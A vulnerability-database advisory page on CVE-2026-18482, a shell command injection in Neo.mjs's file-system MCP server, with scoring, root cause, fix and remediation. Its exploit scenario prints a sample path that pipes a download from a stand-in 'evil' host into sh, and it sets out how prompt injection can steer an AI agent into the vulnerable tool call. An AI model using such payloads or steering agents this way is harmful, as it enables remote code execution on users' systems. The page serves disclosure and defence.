Skip to main content

Neo.mjs EUVDEUVD-2026-63326

| CVE-2026-18482 CRITICAL
OS Command Injection (CWE-78)
2026-08-20 certcc GHSA-cmg9-62q9-xmww
9.8
CVSS 3.1 · Vendor: certcc
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious content or prompt
  2. Delivery
    Induce AI agent to call checkSyntax/runPlaywrightTest
  3. Exploit
    Supply absolutePath with shell metacharacters
  4. Execution
    exec() spawns shell interpolating the path
  5. Impact
    Arbitrary OS commands run as server process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires a deployment of Neo.mjs prior to commit 88c77fc4 that runs the ai/mcp/server/file-system MCP server and exposes its checkSyntax() and/or runPlaywrightTest() tools to an AI agent. Concretely, an attacker must get the agent to invoke one of those tools with a caller-controlled absolutePath containing shell metacharacters (;, &&, $(…), pipes) - typically achieved via prompt injection or attacker-influenced content the agent acts on. Limiting factors: the vulnerable MCP server and these two tools must actually be registered and reachable; exploitation is mediated by an AI agent's tool call rather than a direct network request, so the practical vector often reduces to whatever channel can influence the agent, and the process runs with only the MCP server's privileges.

Impact

The published CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N, C:H/I:H/A:H = 9.8) treats this as trivially remote and unauthenticated, but the description qualifies exploitation as occurring 'when an AI agent is induced to invoke these tools' - an indirection that in practice raises attack complexity and often narrows the real vector to a locally-run MCP server, so the raw 9.8 likely overstates unconditional network exposure; verify deployment topology with the operator. Countervailing signals point to lower urgency: EPSS is only 0.75% (52nd percentile), the CVE is not listed in CISA KEV, and no weaponized public exploit is identified - only third-party write-ups. That said, the technical impact when reached is total (full OS command execution), the CWE class is easy to exploit once a path reaches the shell, and MCP tool surfaces are exposed precisely to autonomous agents that can be manipulated via prompt injection, so any team running the vulnerable Neo.mjs MCP server should patch promptly rather than deprioritize on EPSS alone. Overall this is a genuine high-severity issue whose real-world reach is gated by whether the vulnerable MCP server is actually deployed and agent-accessible.

Exploit ScenarioDerived

An attacker plants malicious content (e.g., a crafted repository file or prompt-injection payload) that an AI agent processes; the agent is steered into calling the file-system MCP server's checkSyntax() with an absolutePath like foo.js; curl http://evil/x | sh. Because the path is interpolated into a shell command, the injected commands execute on the host with the MCP server's privileges. No public exploit is identified at time of analysis, but the low attack complexity of the underlying string interpolation makes reliable exploitation straightforward once the agent can be induced to call the tool.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.8% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 27, 2026

Arbitrary OS command execution in Neo.mjs (versions prior to commit 88c77fc4) arises in the ai/mcp/server/file-system MCP server, whose FileSystemService.mjs passes a caller-supplied absolutePath into a shell via exec() inside checkSyntax() and runPlaywrightTest(). An attacker who can steer an AI agent into calling these MCP tools with a path containing shell metacharacters runs commands with the privileges of the MCP server process. No public exploit is identified at time of analysis and the flaw is not in CISA KEV; EPSS is low (0.75%), consistent with a niche, agent-invoked attack surface rather than mass exploitation.

RemediationAI

Upstream fix available (PR/commit); released patched version not independently confirmed - update Neo.mjs to a build that includes commit 88c77fc4 (and 5acc564ea1b278bca5fab1f8f397a6ba9b849d75), which replaces exec() with execFile() and hardens the path sandbox; track the corresponding tagged npm release before pinning in production. If you cannot immediately update, treat the ai/mcp/server/file-system MCP server as untrusted: disable or unregister the checkSyntax and runPlaywrightTest tools from the agent's toolset, or stop exposing that MCP server entirely, accepting the loss of agent-driven syntax-checking and Playwright test execution. As defense-in-depth, run the MCP server under a low-privilege, sandboxed account with no shell and restrict which paths/agents can reach it, understanding this reduces but does not eliminate injection until the code fix is applied. See https://github.com/neomjs/neo/commit/88c77fc4 and https://vuldb.com/vuln/393713.

Affected VersionsENISA

neo-mjs 0 <88c77fc4

Affected Packages

euvd neo_mjs fix: 88c77fc4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is an MCP (Model Context Protocol) file-system server shipped inside the Neo.mjs JavaScript framework, designed to expose file operations to AI agents as callable tools. The root cause is CWE-78 (OS Command Injection): FileSystemService.mjs used Node's child_process.exec (which spawns /bin/sh) and string-interpolated the untrusted absolutePath directly into command strings such as node --check ${safePath}. Because exec routes through a shell, characters like ;, &&, $(…) and spaces are parsed as command syntax rather than as part of a filename. The vendor fix (commits 5acc564 and 88c77fc4) replaces exec with execFile('node', ['--check', safePath]) so arguments are passed as argv and can never be reinterpreted as commands, and additionally hardens the path sandbox to canonicalize symlinks and fail closed on unprovable containment. The CPE identifies the product as klarso_gmbh:neo-mjs.

Know when Neo Mjs gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (certcc) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.1 HIGH

Full command execution gives C/I/A:H with no auth on the MCP tool (PR:N), but exploitation depends on inducing an AI agent to call the tool, warranting AC:H.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (certcc).

CVSS VectorVendor: certcc

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
CVSS changed
Aug 27, 2026 - 20:37 NVD
9.8 (CRITICAL)
Patch available
Aug 20, 2026 - 13:02 EUVD
CVE Published
Aug 20, 2026 - 12:36 cve.org
UNKNOWN (no severity yet)
CVE Published
Aug 20, 2026 - 12:36 cve.org
CRITICAL 9.8

DescriptionCVE.org

Neo.mjs contains a command injection vulnerability within the FileSystemService.mjs component of the ai/mcp/server/file-system MCP server, where the checkSyntax() and runPlaywrightTest() functions unsafely interpolate caller-controlled absolutePath values into shell commands, enabling arbitrary OS command execution when an AI agent is induced to invoke these tools. Commit 88c77fc fixes these vulnerabilities.

Executive ViewAI

Why It Matters

Neo.mjs versions prior to commit 88c77fc4 contain a critical arbitrary command execution vulnerability in the MCP file-system server component; no public exploit identified at time of analysis. Organizations using Neo.mjs with AI agent integrations face complete system compromise risk, as attackers could manipulate connected AI agents into executing malicious OS commands with server privileges. Immediate identification and patching is required.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.8%
Top 48% exploitable
Prevalence
Low
niche JavaScript UI framework; AI MCP file-system component rarely deployed in production
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.8%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy